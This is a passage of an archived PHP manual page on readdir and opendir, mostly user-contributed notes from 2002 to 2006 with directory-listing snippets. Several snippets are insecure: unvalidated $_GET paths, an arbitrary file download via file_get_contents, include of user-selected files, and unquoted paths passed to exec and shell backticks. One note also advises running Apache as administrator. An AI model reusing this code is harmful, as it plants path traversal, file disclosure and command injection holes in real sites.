                   $link = "<a href=\"" . $_SERVER["PHP_SELF"] . "?dir=" . $dir . "/" . $listDir[$j] . "\">$listDir[$j]</a>";
                   echo "<td>" . $spacer . $link . "</td>
               </tr>";
               // list all subdirectories up to maxDepth
               if($i < $maxDepth) showDir($dir . "/" . $listDir[$j], $i, $maxDepth);
           }
       }

       // show files
       if(count($listFile) > 0){
           sort($listFile);
           for($k = 0; $k < count($listFile); $k++){
               $spacer = "";
               for($l = 0; $l < $i; $l++) $spacer .= "&emsp;";
               echo "
               <tr>
                   <td>" . $spacer . $listFile[$k] . "</td>
               </tr>";
           }
       }
       closedir($checkDir);
   }
}

if($_GET["dir"] == "" || !is_dir($_GET["dir"])) $dir = getcwd();
else $dir = $_GET["dir"];
// replace backslashes, not necessary, but better to look at
$dir = str_replace("\\", "/", $dir);

// show parent path
$pDir = pathinfo($dir);
$parentDir = $pDir["dirname"];

echo "<a href=\"" . $_SERVER["PHP_SELF"] . "\"><h3>Home</h3></a>";
echo "Current directory: " . $dir;
echo "<a href=\"" . $_SERVER["PHP_SELF"] . "?dir=$parentDir\"><h4>Parent directory: $parentDir</h4></a>";

// Display directory content
echo"<table border=1 cellspacing=0 cellpadding=2>
<tr><th align=left>File / Dir</th>";

// specifies the maxDepth of included subdirectories
// set maxDepth to 0 if u want to display the current directory
$maxDepth = 0;
showDir($dir, -1, $maxDepth);
?>
sandy at montana-riverboats dot com
30-Sep-2004 12:08
<?php
/*
** This recursive file lister only slurps in one page at time,
** so it doesn't take forever to load when operating over
** a large system.....comes with an "Up" link for every page too.
*/

$PHP_SELF = $_SERVER['PHP_SELF'];
$DOCUMENT_ROOT = $_SERVER['DOCUMENT_ROOT'];
# activate the next line (and deactivate the last) to
# use this script in a $DOCUMENT_ROOT/~anybody
# environment.
#$DOCUMENT_ROOT="/home/sandy/public_html/";

$tdir = $_GET['dir'];
echo "tdir==$tdir<br>";
$tparent_path = $_GET['parent_path'];
$dbg = $_GET['dbg'];

if(!strstr($tdir, $DOCUMENT_ROOT))
  $tdir = getcwd();
if(!strstr($tparent_path, $DOCUMENT_ROOT))
  $tparent_path = $tdir;

if (!isset ($tdir))
  {
   $dir = getcwd ();
  }
else
  $dir = $tdir;

if (!isset ($tparent_path))
  {
   $parent_path = $dir;
  }
else
  $parent_path = $tparent_path;

echo "<br>";
if (!isset ($tdir))
  {
   $upurl = $PHP_SELF;
  }
else
  {
   if ($parent_path == $DOCUMENT_ROOT)
     $parent_parent_path = $parent_path;
   else
     $parent_parent_path = dirname ($parent_path);
   $upurl = $PHP_SELF."?dir=".$parent_path."&parent_path=".
                 $parent_parent_path;
  }

if($dbg==1)
{
  echo "PHP_SELF: $PHP_SELF<br>\n";
  echo "DOCUMENT_ROOT: $DOCUMENT_ROOT<br>\n";
  echo "dir: $dir<br>\n";
  echo "parent_path: $parent_path<br>\n";
  echo "upurl: $upurl<br>\n";
}

echo "<a href=\"$upurl\"> <h3>Up</h3> </a>\n";
echo "<h2>$dir</h2>\n";

create_tree ($dir, $parent_path);

function
urlFromPath ($path)
{
  global $PHP_SELF;
  global $DOCUMENT_ROOT;
  $prefix = "";
  if (substr ($path, 0, 1) != "/")
   $prefix = "/";
  $url = $prefix.ereg_replace ($DOCUMENT_ROOT, "", $path);
  return $url;
}

function
create_tree ($dir, $parent_path)
{
  if ($handle = opendir ($dir))
   {
     $i = 0;
     while (false !== ($file = @readdir ($handle)))
   {
     if ($file != "." && $file != "..")
       {
         $list[$i] = $file;
         $i++;
       }
   }
     $dir_length = count ($list);
     echo "<ul>";
     for ($i = 0; $i < $dir_length; $i++)
   {
     global $PHP_SELF;
     global $DOCUMENT_ROOT;
     $label = $list[$i];
     $test = $dir."/".$label;
     $alink = $dir."/".ereg_replace(" ","%20",$label);
     if (!strstr ($PHP_SELF, $label))
       {
         if (is_dir ($test))
       {
         $tmp = $PHP_SELF. "?dir=".$alink."&parent_path=".$dir;
         $url = ereg_replace(" ", "%20", $tmp);
                 echo "$url<br>\n";
         echo "<a href=\"$url\"><b>$label</b>/</a><br>\n";
       }
         else
       {
         $link = urlFromPath ($alink);

         $label = $list[$i];
         echo
           "<a href=\"$link\">".$label."</a><br>\n";
       }
       }
   }
     echo "</ul>";
     closedir ($handle);
   }
}

?>
cnichols at nmu dot edu
18-Sep-2004 02:03
Here's another recursive function that prints out everything from the starting path to the end. It doesn't have any search function, but just another example. I wrote it for getting a quick hierarchial view of websites (even through Dreamweaver will show it to me, it'd be a chore to go through each folder and expand it).

<?php

// map_dirs(path,level)
// path, level to start (start at 0)

map_dirs("/var/ww/html/",0);

function map_dirs($path,$level) {
       if(is_dir($path)) {
               if($contents = opendir($path)) {
                       while(($node = readdir($contents)) !== false) {
                               if($node!="." && $node!="..") {
                                       for($i=0;$i<$level;$i++) echo "  ";
                                       if(is_dir($path."/".$node)) echo "+"; else echo " ";
                                       echo $node."\n";
                                       map_dirs("$path/$node",$level+1);
                               }
                       }
               }
       }
}

?>
MagicalTux at FF.st
09-Aug-2004 09:32
Note that the opendir() function will use ISO8859-1 characterset under windows...

If you have korean, japanese, etc.. filenames, you won't be able to open them. I still didn't find any solution to workaround that.
dale dot liszka at gmail dot com
07-Aug-2004 11:17
I whipped up a little recursive directory searching function that has been very useful.  I figured it belonged here.  I'm sure its not the most robust or creative code, but it works for me.

Note, you can use strpos for simple matches or preg_match if you want the power of regular expressions (however it is a bit slower).  I also have it set to use double quotes "\\" for WIN32.  change to "/" if necessary.

It returns an array of all matching files with full path.

function search_dir($mask,$dir,$level){
   if($level > 3){
       return "Exceeded max level (3)";
   }
   $return_me = array();
   if (is_dir($dir)) {
       if ($dh = opendir($dir)) {
           while (($file = readdir($dh)) !== false) {
               #echo "filename: $file : filetype: " . filetype($dir . $file) . " level: $level\n";
               if(is_dir($dir."\\".$file) and $file != '.' and $file != '..'){
                   $test_return = search_dir($mask,$dir."\\".$file,$level+1);
                   if(is_array($test_return)){
                       $temp = array_merge($test_return,$return_me);
                       $return_me = $temp;
                   }
                   if(is_string($test_return)){
                       array_push($return_me,$test_return);
                   }
               #} else if(strpos($file,$mask) !== FALSE){  #A bit faster, but you can't use regexs!
               } else if(preg_match($mask,$file)){
                   array_push($return_me,$dir."\\".$file);
               }
           }
           closedir($dh);
       }
   }
   return $return_me;
}
Cabal at CnCWorld dot org
28-Mar-2004 10:21
I had problems getting it to work because I'm not the best at PHP, but there IS a way to use opendir to list things in alphabetical order. I'm using it for my university project. All you have to do is read the filenames into an array, sort the array and then do what you want with the filenames.... like this....

So that you know what all my variables mean in this - $stats is the folder that it looks in for the files - for example
?stats=images
would look in the images folder

Obviously you will want to modify it so it fits your needs, but I thought you guys would want this - especially if your server doesnt have the latest version of php.

===========================

<?php
$i = 0;
$arraycount = 0;
$home="/home/cabal/public_html/b146/admin/$stats";

if ($stats)
{
   $dircheck="/home/cabal/public_html/b146/admin/$stats";
   if (is_dir($dircheck))
   {
       if ($handle = opendir($home))
       {
           while (false !== ($file = readdir($handle)))
           {
                   if ($file != "." && $file != "..")
           {
           $path = "$home/$file";
           $extension = array_pop(explode('.', basename($path)));
           $filearray[$i] = $file;
           $i++;
           }
           }
           }
           closedir($handle);

   }
   else
   {
   echo "INCORRECT SELECTION";
   }

}

else

{
echo "NOTHING SELECTED";
}
echo "&nbsp;";

echo("<table width='100%' border='1'><tr><td><b><font color='#ff0000'>");
echo("$stats : Log File");
echo("</b></font></td><td><font color='#FF0000'><b>Page Views</b></font></td></tr>");
sort($filearray);
reset($filearray);
while (list($key, $val) = each($filearray))
{
   $includearray = "$home/$filearray[$key]";
   echo("<tr><td>");
   echo("$val");
   echo("</td><td>");
   include($includearray);
   echo("</td></tr>");

}
echo("</table>");

?>
dieck at gmx dot de
26-Feb-2004 08:47
If you have problems like "failed to open dir: Invalid argument"
when using IIS and trying to access windows/smb network shares, try
//servername/share/directory
instead of
\\servername\share
micklweiss at gmx dot net
20-Nov-2003 05:12
I ran into a little snag in example 1. opendir() lists files by the last time the file was accessed. I was trying to print the files numerically in a directory.

Solution: Use scandir() instead (php5) or store the files in an array and sort it.

Hope this helps someone.

- Mick

(o> Web / software developer
( )    UNIX Systems Admin
---  ~ www.mickweiss.com ~
info at 4design dot nu
23-Aug-2003 09:31
In addition to notes above about IIS & PHP reading network shares, here's one solution that works better for me.

in the management console I created a folder where my "read_dir" script runs. click on properties then select the security tab. here you can set the anonymous account to the standard IUSR_$computername% , BUT.. in this case I chose another account that I set up for reading my shares. (make sure login name and password match the credantials you set on the remote machin ;-))

I use this to read a dir and it's contents into a searchable database. and it works like a charm...
Matt Grimm
07-Jun-2003 04:25
Thought I could help clarify something with accessing network shares on a Windows network (2000 in this case), running PHP 4.3.2 under Apache 2.0.44.

However you are logged into the Windows box, your Apache service must be running under an account which has access to the share.  The easiest (and probably least safe) way for me was to change the user for the Apache service to the computer administrator (do this in the service properties, under the "Log On" tab).  After restarting Apache, I could access mapped drives by their assigned drive letter ("z:\\") or regular shares by their UNC path ("\\\\shareDrive\\shareDir").
mitka at actdev.com
28-Sep-2002 07:42
Re: Accessing network directories on W32

In reply to the previous comments, to enable opendir() to open directories like "\\SOMEHOST\shareddir", with PHP+IIS:

Follow the instructions here: http://support.microsoft.com/default.aspx?scid=kb;en-us;Q189408

Check that the file share allows reads to IUSR_[HOSTNAME] user.
kcgt at go dot com
30-Aug-2002 10:14
I don't know if this will work the same, but I was working with copy() in order to copy a file to a network drive using IIS.

In order to be able to copy to a network drive, you have to have permissions for the user IUSR_computername where computername is the name of the computer that is running PHP. Once permissions were set up on the remote machine, PHP was able to access the remote files. I don't know if this will work the same with opendir, but it might be worth a try......
add a note add a note

后退 | 起点 | 前进
getcwd | 上一级 | readdir


readdir

(PHP 3, PHP 4, PHP 5)

readdir -- 从目录句柄中读取条目

说明

string readdir ( resource dir_handle )

返回目录中下一个文件的文件名。文件名以在文件系统中的排序返回。

参数

dir_handle

目录句柄的 resource，之前由 opendir() 打开

返回值

成功则返回文件名，失败返回 FALSE。

范例

例子 1. 列出目录中的所有文件

请留意下面例子中检查 readdir() 返回值的风格。这里明确地测试返回值是否全等于（值和类型都相同――更多信息参见比较运算符）FALSE，否则任何目录项的名称求值为 FALSE 的都会导致循环停止（例如一个目录名为“0”）。

<?php
// 注意在 4.0.0-RC2 之前不存在 !== 运算符

if ($handle = opendir('/path/to/files')) {
    echo "Directory handle: $handle\n";
    echo "Files:\n";

    /* 这是正确地遍历目录方法 */
    while (false !== ($file = readdir($handle))) {
        echo "$file\n";
    }

    /* 这是错误地遍历目录的方法 */
    while ($file = readdir($handle)) {
        echo "$file\n";
    }

    closedir($handle);
}
?>

例子 2. 列出当前目录的所有文件并去掉 . 和 ..

<?php
if ($handle = opendir('.')) {
    while (false !== ($file = readdir($handle))) {
        if ($file != "." && $file != "..") {
            echo "$file\n";
        }
    }
    closedir($handle);
}
?>

参见

is_dir()
glob()

add a note add a note User Contributed Notes
repley at freemail dot it
23-May-2006 10:27
Upgrade of davidstummer's listImages function: now with order by and sorting direction (like SQL ORDER BY clause).

<?php
//listImages(string path, string sort-by name | width | height | size, int sorting order flags SORT_ASC | SORT_DESC)
function listImages($dirname, $sortby, $sortdir) {

$ext = array("jpg", "png", "jpeg", "gif");
$files = array();
   if($handle = opendir($dirname)) {
       while(false !== ($file = readdir($handle))){
           for($i=0;$i<sizeof($ext);$i++){
               if(stristr($file, ".".$ext[$i])){ //NOT case sensitive: OK with JpeG, JPG, ecc.
                   $imgdata = getimagesize($dirname . "/" . $file);
                   $filesize = filesize($dirname . "/" . $file);
                   //Some formats may contain no image or may contain multiple images.
                   //In these cases, getimagesize() might not be able to properly determine the image size.
                   //getimagesize() will return zero for width and height in these cases.
                   if($imgdata[0] && $imgdata[1] && $filesize){
                       $files[] = array(
                                       "name" => $file,
                                       "width" => $imgdata[0],
                                       "height" => $imgdata[1],
                                       "size" => $filesize
                                 );
                   }
               }
           }
       }
   closedir($handle);
   }

   //obtain an array of columns
   foreach ($files as $key => $row) {
       $name[$key]  = $row['name'];
       $width[$key] = $row['width'];
       $height[$key] = $row['height'];
       $size[$key] = $row['size'];
   }

return array_multisort($$sortby, $sortdir, $files) ? $files : false;
}
//end listImages

//start test
$sortby = "width"; // sort-by column; accepted values: name OR width OR height OR size
$path = "path"; // path to folder
$sortdir = SORT_ASC; // sorting order flags; accepted values: SORT_ASC or SORT_DESC

$files = listImages($path, $sortby, $sortdir);
foreach ($files as $file){
   echo 'name = <strong>' . $file['name'] . '</strong> width = <strong>' . $file['width'] . '</strong> height = <strong>' . $file['height'] . '</strong> size = <strong>' . $file['size'] . '</strong><br />';
}
//end test
?>

Repley.
repley at freemail dot it
19-May-2006 07:53
BugFix of davidstummer at yahoo dot co dot uk listImages() function:

<?php
function listImages($dirname=".") {
   $ext = array("jpg", "png", "jpeg", "gif");
   $files = array();
   if($handle = opendir($dirname)) {
       while(false !== ($file = readdir($handle)))
           for($i=0;$i<sizeof($ext);$i++)
               if(stristr($file, ".".$ext[$i])) //NOT case sensitive: OK with JpeG, JPG, ecc.
                   $files[] = $file;
       closedir($handle);
   }
   return($files);
}
?>
Thanks to all.

Repley
vorozhko at gmail dot com
19-Apr-2006 04:39
Here is my recursive read dir function, what read dir by mask.
[php]
function ls($dir, $mask /*.php$|.txt$*/)
{
       static $i = 0;
       $files = Array();
       $d = opendir($dir);
       while ($file = readdir($d))
       {
               if ($file == '.' || $file == '..' || eregi($mask, $file) ) continue;
               if (is_dir($dir.'/'.$file))
               {
                       $files += ls($dir.'/'.$file, $mask);
                       continue;
               }
               $files[$i++] = $dir.'/'.$file;
       }
       return $files;
}
$f = ls('E:/www/mymoney/lsdu', ".php$" /*no spaces*/);
[/php]
phathead17 at yahoo dot com
10-Apr-2006 02:14
moogman,

While using your excellent readdirsort function, php complains that the next element in the $items array could not be found.

Instead of:
   if ($items[$last_read_item] == false)

Just use:
   if (!isset($items[$last_read_item]) || $items[$last_read_item] == false)
anonimo
29-Mar-2006 08:06
----------------------
To Marijan Greguric
----------------------

In your script there is a little bug with folders with same name but different path :

i think that is correct to use this id

$id="$path$file";

and not

$id="$file";

bye

L
moogman
23-Feb-2006 07:04
Took cart at kolix dot de's wrapper and changed it into a simple readdir wrapper that does the same, but puts directories first and sorts. Hope it's useful :)

function readdirsort($dir) {
       /* Funktastic readdir wrapper. Puts directories first and sorts. */
       static $not_first_run, $last_read_item=0, $items;

       if (!$not_first_run) {
               $not_first_run = true;
               while (false !== ($file = readdir($dir))) {
                       if (is_dir("$file"))
                               $dirs[] = $file;
                       else
                               $files[] = $file;
               }

               natcasesort($dirs);
               natcasesort($files);

               $items = array_merge($dirs, $files);
       }

       if ($items[$last_read_item] == false)
               return false;
       else
               return $items[$last_read_item++];
}
imran at imranaziz dot net
19-Feb-2006 05:02
Based on tips above, I made this function that displays all php files in your whole website, like a tree. It also displays which directory they're in.

     $dir = $_SERVER['DOCUMENT_ROOT'];
     $shell_command = `find $dir -depth -type f -print`;
     $files = explode ("\n", $shell_command);
     foreach ($files as $value)
     {
         $fileInfo = pathinfo($value);
         $extension = $fileInfo["extension"];
         if ($extension == "php")
         {
           $cur_dir = str_replace($_SERVER['DOCUMENT_ROOT'], "", dirname($value));
           if ($cur_dir != $old_dir)
           {
               echo "<p><b>" . $cur_dir . "</b></p>";
               $old_dir = $cur_dir;
           }
           echo $cur_dir . "/" . basename($value) . "<BR>";
         }
     }

You can change it to take input of certain directory or files of certain, or no extension.
cart at kolix dot de
01-Feb-2006 03:53
*updated version

Here is my recursive read_dir function. It sorts directories and files alphabetically.

<?php
function read_dir($dir) {
   $path = opendir($dir);
   while (false !== ($file = readdir($path))) {
       if($file!="." && $file!="..") {
           if(is_file($dir."/".$file))
               $files[]=$file;
           else
               $dirs[]=$dir."/".$file;
       }
   }
   if($dirs) {
       natcasesort($dirs);
       foreach($dirs as $dir) {
           echo $dir;
           read_dir($dir);
       }
   }
   if($files) {
       natcasesort($files);
       foreach ($files as $file)
           echo $file
   }
   closedir($path);
}
?>

Start with:
<?php
$path="path/to/your/dir";
read_dir($path);
?>
Marijan Greguric
31-Jan-2006 01:38
Example directory tree with javascript
<script>
function pokazi(dir){
         alert(dir);
         x=document.getElementById(dir);
         if(x.style.display == "none"){
               x.style.display = "";
         }else{
               x.style.display = "none";
                 }

}
</script>
</head>

<body>

<?php
$path= "../../upload/";
if ($handle = opendir($path)) {
   while (false !== ($file = readdir($handle))) {
       if ($file != "." && $file != "..") {
           if(is_dir("$path".$file)){
                 echo "<div style=\"padding-left: 2px; margin: 0px; border: 1px solid #000000;\"  >";
                 echo "|-<b><a href=\"#\" onClick=pokazi(\"$file\")>$file</a></b><br />\n";
                 $id="$file";

                 dirT("$path$file/",$id);

           }else{
                 echo "$file<br />\n";
                 }
       }

   }
   echo "</div>";
   closedir($handle);
}
function dirT($path,$id){
   echo "<div style=\"padding-left: 2px; margin: 2px; border: 1px solid #000000; display:none \" id=\"$id\">";
           if ($handle = opendir($path)) {
               while (false !== ($file = readdir($handle))) {
                       if ($file != "." && $file != "..") {
                           if(is_dir("$path".$file)){
                             echo "<div style=\"padding-left: 10px; margin: 2px; border: 1px solid #000000; \" >";
                             echo "|-<a href=\"#\" onClick=pokazi(\"$file\")>$file</a><br />\n";
                             $id="$file";
                             dirT("$path$file/",$id);
                           }else{
                             echo "&nbsp;--$file<br />\n";
                           }
               }
           }
           echo "</div>";
           closedir($handle);
   }
   echo "</div>";
}

?>
larry11 at onegentleman dot biz
21-Jan-2006 02:23
After hours of work I found an error in the sort routine sumitted. The correction lies in the fact you need $path.$file to diffirentiate from [dir] or [file] in the routines

$path = "music/Holly Dunn/";
   $dh = opendir($path);

   while (false !== ($file=readdir($dh)))
   {
     if (substr($file,0,1)!=".")
     {
         if (is_dir($path.$file))

         $dirs[]=$file.'/';
         else
           $files[]=$file;
     }
   }
   @closedir($dh);

   if ($files)
     natcasesort($files);
   if ($dirs)
     natcasesort($dirs);

   $files=array_merge($dirs,$files);

   foreach ($files as $file)
     echo "<a href=$file>$file</a><br />";

   ?>
info [AT] thijsbaars [DOT] NL
29-Dec-2005 03:39
wrote this piece. I use it to validate my $_GET variables.

It firsts gets the variable $page, cheks if that variable is assinged (on the main index, it is not).
if it is assinged, it checks if it equals one of the found directory's, and then i assigns the variable definatly.

this is a rather secure way of validating the $_GET variable, which on my site should only have the name of one of my directory's.

<?php
$page = $_GET['a'];

if ($page != "" || !empty($page))
{
   $handle=opendir('albums');

   while (false!==($file = readdir($handle)))
   {
       if (substr($file,0,1)!=".")            //do not look up files or directory's which start with a dot
       {
           if(!eregi("thumb",$file))        // all files and dir's containign the word thumb are filtred out
           {
               $path = "albums/" . $file;
               if(is_dir($path))            // only directory's will get listed
               {
                   if($page != $file) die("wrong argument! only a existing album may be set"); // validates input
                       else
                       {
                       $page = "albums/" . $page;
                       $thumb = $page . thumb;
                       }
               }
           }
       }
   }
   closedir($handle);
}
doom at inet dot ua
16-Dec-2005 07:10
How i make my directory tree for print (you can make array)

<?php

$First_Dir = "./my_big_dir";

read_dir($First_Dir);

/**** functions part ****/

function read_dir($name_subdir)
{
$dh = opendir($name_subdir);
while(gettype($file = readdir($dh))!=boolean)
   {
   if ($file != '..')
   if ($file != '.')
         {
         $current_element = $name_subdir."/".$file;
         if(is_dir($current_element))
             {
             echo $current_element."<br>";
             read_dir($current_element);
             }
         }
   }
closedir($dh);
}
?>

Best free :-)
Absynthe
30-Nov-2005 02:18
This is a function to read all the directories and subdirectories of a folder. It returns an array with all the paths.

<?PHP

$root = "root";

function arborescence($root)
{

   $folders  = array();
   $path    = "$root";
   $i    = 0;

   // Vrification de l'ouverture du dossier
   if ($handle = opendir("./".$path))
   {
       // Lecture du dossier
       while ( false !== ($file = readdir($handle)) )
       {
           if (filetype($path."/".$file) == 'dir')
           {
               if ($file != '..' && $file != '.' && $file != '' && (substr($file,0,1) != '.'))
               {
                   $folders[$i] = "./".$path."/".$file;
                   $i++;
               }
           }
       }
       closedir($handle);

       // Recherche de tous les sous dossiers pour chaque dossiers
       for ( $u = 0; $u < $i; $u++ )
       {
           if ($handle = opendir($folders[$u]))
           {
               // Lecture du dossier
               while ( false !== ($file = readdir($handle)) )
               {
                   if (filetype("./".$folders[$u]."/".$file) == 'dir')
                   {
                       if ($file != '..' && $file != '.' && $file != '' && (substr($file,0,1) != '.'))
                       {
                           $folders[$i] = $folders[$u]."/".$file;
                           $i++;
                       }
                   }
               }
               closedir($handle);
           }
       }
   }
return $folders;
}

?>
Martin dot Grossberger at andtek dot com
25-Nov-2005 10:39
to ES:
i believe you are mistaken. readdir() returns a string (the filename), not an array

therefor, the open_dir function should be like this:

function open_dir($dir) {
  $this->dir = $dir;
  $handle = opendir($this->dir);
  if($handle) {
   while(false !== ($file = readdir($handle)) {
     if($file != "." && $file != "..") {
       $files[] = $file;
     }
   }
   sort($files);
   foreach($files as $file) {
     echo $file."<br>";
   }
  }
}
ES
25-Nov-2005 07:58
A simple class to read a dir, and display the files. And will automatically sort the files Alphabetically. Very simple indeed. But thought I'd share (one of my first classes aswell) :)

<?php

class list_dir
{
  var $dir;

  function open_dir($dir)
  {
   $handle = opendir($this->dir);
   if($handle)
   {
     while(false !== ($files = readdir($this->dir)))
     {
       if($files != "." && $files != "..")
       {
         sort($files);
         foreach($files as $file)
         {
           echo $file."<br>";
         }
       }
     }
   }
  }
  function close_dir()
  {
   closedir($this->dir);
  }
}
?>

Usage:
<?php

$list = new list_dir;
$list->open_dir("/path/to/directory/");
$list->close_dir();

?>
24-Sep-2005 05:31
To beanz at gangstersonline dot co dot uk, just a little optimization tip.

You have make a lot of eregi calls in a sequence of elseif statements.  That means that for a worst case, you'll be making 8 eregi calls per iteration.  Instead of using a bunch of conditional eregi() calls (which is much slower compared to preg_match or strpos), you could do the following:

<?php
if ($i)
//create a mapping array
$ext_map = array('exe' => 'exe', 'bmp' => 'image1', etc....)
foreach($tab as $rep) {
  //use one preg_match to grab the extention
  if (preg_match('/\.([a-z]+)$/', $rep, $matches) {
     $ext = $ext_map[$matches[1]];
  } else {
     $ext = 'text';
  }
  //rest of code...
}
?>

So instead of a worst case of n eregi calls per iteration, you're guaranteed only one preg_match per call.  Or possibly even faster than preg_match:

$ext = $ext_map[substr($rep, strrpos($rep, '.'))];
beanz at gangstersonline dot co dot uk
19-Sep-2005 11:43
A little script I made for my home page on local host. It displays the contents of the folder in which the script is placed, and adds some images in a folder supplied (which is elminated from the file list)

<?PHP
  $list_ignore = array ('.','..','images','Thumbs.db','index.php'); // Windows server, so thumbs.db shows up :P
  $handle=opendir(".");
  $dirs=array();
  $files=array();
  $i = 0;
  while (false !== ($file = readdir($handle))) {
   if (!in_array($file,$list_ignore)) {
     if(!eregi("([.]bak)",$file)) { // ignore backup files
       if(is_dir($file)) {
         $dirs[]=$file;
       } else {
         $files[]=$file;
       }
       $i++;
     }
   }
  }
  closedir($handle);
  $tab=array_merge($dirs,$files);
  if ($i) {
   foreach ($tab as $rep) {
     if(eregi("[.]exe", $rep)) {
       $ext="exe";
     } elseif(eregi("[.]php", $rep)) {
       $ext="php";
     } elseif(eregi("[.]bmp", $rep)) {
       $ext="image2";
     } elseif(eregi("[.]doc", $rep)) {
       $ext="word";
     } elseif(eregi("[.]xls", $rep)) {
       $ext="excel";
     } elseif(eregi("([.]zip)|([.]rar)", $rep)) {
       $ext="archive";
     } elseif(eregi("([.]gif)|([.]jpg)|([.]jpeg)|([.]png)", $rep)) {
       $ext="image";
     } elseif(eregi("([.]html)|([.]htm)", $rep)) {
       $ext="firefox";
     } elseif($rep[folder]==true) {
       $ext="folder";
     } else {
       $ext="text";
     }
     echo ('<a href="'.$rep.'"><img src="images/'.$ext.'.bmp" border="0"> '.$rep.'</a><br>');
   }
  } else {
   echo "No files";
  }
?>
anonymous at anonymous dot org
09-Aug-2005 09:11
My simple function for clean up .svn directory
It doesn't recursive, but exec rmdir :P

function clean_svn( $stack )
{
  $dir_list = array();
  $rm_list = array();

  // translate to real path
  $stack = realpath( $stack );

  // Initial dir_list with $stack
  array_push( $dir_list, $stack );

  while( $current_dir = array_pop( $dir_list ) )
  {
   $search = $current_dir . "\\" . "{*,.svn}";

   foreach( glob( $search, GLOB_ONLYDIR | GLOB_BRACE ) as $name )
   {
     if( ereg( '\.svn$', $name ) )
       array_push( $rm_list, $name );
     else
       array_push( $dir_list, $name );
   }
  }

  // remove directory
  foreach( $rm_list as $name )
  {
   exec( "rmdir /S /Q $name" );
  }
}
Basis - basis.klown-network.com
04-Aug-2005 04:11
Alex's example was really good except for just one small part that was keeping it from displaying directories above files in alphabetical order (His has makes the directories and files mixed)

I changed 'if (is_dir($path.$file))' to 'if (is_dir($file))' and it works perfectly now.  Here's the whole block.

<code>
$path = $_SERVER[DOCUMENT_ROOT];
   $dh = @opendir($path);

   while (false !== ($file=@readdir($dh)))
   {
     if (substr($file,0,1)!=".")
     {
         if (is_dir($file))
           $dirs[]=$file.'/';
         else
           $files[]=$file;
     }
   }
   @closedir($dh);

   if ($files)
     natcasesort($files);
   if ($dirs)
     natcasesort($dirs);

   $files=array_merge($dirs,$files);

   foreach ($files as $file)
     echo "<a href=$file>$file</a><br />";
</code>
Alex M
28-Jun-2005 11:37
A shorter and simpler version of twista no[at]$pam rocards $pam[dot]no de
code to first display all folders sorted, and THEN all files sorted. Just like windows.

<?php
   $path = $_SERVER[DOCUMENT_ROOT]."/old/";
   $dh = @opendir($path);

   while (false !== ($file=@readdir($dh)))
   {
     if (substr($file,0,1)!=".")  #skip anything that starts with a '.'
     {                            #i.e.:('.', '..', or any hidden file)
         if (is_dir($path.$file))
           $dirs[]=$file.'/';  #put directories into dirs[] and append a '/' to differentiate
         else
           $files[]=$file;  #everything else goes into files[]
     }
   }
   @closedir($dh);

   if ($files)
     natcasesort($files); #natural case insensitive sort
   if ($dirs)
     natcasesort($dirs);

   $files=array_merge($dirs,$files);  #merge dirs[] and files[] into files with dirs first

   foreach ($files as $file)  #that's all folks, display sorted all folders and files
     echo "$file<br>\n";
?>
matthew dot panetta at gmail dot com
16-May-2005 07:44
Here is a simple directory walker class that does not use recursion.
<?
class DirWalker {
   function go ($dir) {
       $dirList[] = $dir;
       while ( ($currDir = array_pop($dirList)) !== NULL ) {
           $dir = opendir($currDir);
           while((false!==($file=readdir($dir)))) {
               if($file =="." || $file == "..") {
                   continue;
               }

               $fullName = $currDir . DIRECTORY_SEPARATOR . $file;

               if ( is_dir ( $fullName ) ) {
                   array_push ( $dirList, $fullName );
                   continue;
               }

               $this->processFile ($file, $currDir);
           }
           closedir($dir);
       }
   }

   function processFile ( $file, $dir ) {
       print ("DirWalker::processFile => $file, $dir\n");
   }
}
?>
twista no[at]$pam rocards $pam[dot]no de
12-Apr-2005 05:18
I used nagash's script from below fo myself, and enhanced it.
It will now first display all folders sorted, and THEN all files sorted. Just like windows :-)

There is also a small function for hiding secret files.

Just set $rootdir to 1 in the root dir, and leave it 0 in all subdirs.

<?

$the_file_array = Array();
$the_folder_array = Array();
$handle = opendir('./');

while (false !== ($file = readdir($handle))) {
   if ($file != ".") {
   if (filetype($file) == "file") { $the_file_array[] = $file; } else if (filetype($file) == "dir") {$the_folder_array[] = $file; }
   }
}

closedir($handle);
sort ($the_file_array);
reset ($the_file_array);
sort ($the_folder_array);
reset ($the_folder_array);

while (list ($key, $val) = each ($the_folder_array)) {
   if (($val != ".") && (!fnmatch("*.php*", $val))) {
       if ((fnmatch("~*", $val)) || (fnmatch("~some_thing", $val))) {
           // CASE: An outcommented file. - Syn: "~<filename>" - Exp: "~nottobeseen.txt"
           echo "** SECRET FILE **<br>";
       }else{
           if ($val == "..") {
               if ($rootdir == "1") {
                   // CASE: Don't show the way upward if this is the root directory.
                   // Root Directory, do nothing.
               }else{
                   // CASE: Show the ".." to go back if this is NOT the root directory.
                   echo '<a href="'.$val.'/">/'.$val.'/</a><br>';
               }
           }else{
               // CASE: All normal folders. No ".." and no ".".
               echo '<a href="'.$val.'/">/'.$val.'/</a><br>';
           }
       }
   }
}

while (list ($key, $val) = each ($the_file_array)) {
   if (($val != ".") && (!fnmatch("*.php*", $val))) {
       if ((fnmatch("*~~*", $val)) || (fnmatch("~cheat_sux^hi", $val))) {
           // CASE: An outcommented file. - Syn: "~<filename>" - Exp: "~nottobeseen.txt"
           echo "** SECRET FILE **<br>";
       }else{
               echo '<a href="'.$val.'">'.$val.'</a><br>';
           }
   }
}

?>
steve at stevedix dot de
15-Feb-2005 05:12
IT IS VITALLY IMPORTANT that when using opendir and then scanning with readdir, that you test opendir to see if it has returned a valid pointer.

The following code does not :
<?php

$dir = opendir($mydir);
while((false!==($file=readdir($dir))))
   if($file!="." and $file !="..")
       unlink($mydir.'/'.$file);
closedir($dir);

?>
if $mydir is not a valid directory resource (for example, the directory in question has been deleted), then the code will loop infinitely.  Of course, it'll stop eventually if you have set a max execution time, but in the meantime it will visibly slow the server.
Anton Fors-Hurdn <atombomben at telia dot com>
21-Dec-2004 05:10
My download function:

<?
function download($dir) {

   if (isset($_GET['download'])) {

       header("Content-Type: octet/stream");
       header("Content-Disposition: attachment; filename=" . basename($_GET['download']));

       echo file_get_contents($_GET['download']);

   } else {

     if ($open = opendir($dir)) {
         while (false !== ($file = readdir($open))) {
               if ($file != "." && $file != "..") {
                   if (!is_dir($dir . $file)) {

                         echo "< <a href=\"?download=" . $dir . $file . "\">" . $file . "</a><br />\n";

                   } else {

                         echo "> " . $file . "<br />\n";
                         echo "<div style=\"padding-left: 15px;\">";
                         download($dir . $file . "/");
                         echo "</div>";
                   }
               }
           }
                 closedir($open);
     }
   }
}
?>
boorick[at]utl[dot]ru
16-Dec-2004 06:07
Simple script which counts directories and files in the set directory.

$path = '/path/to/dir'
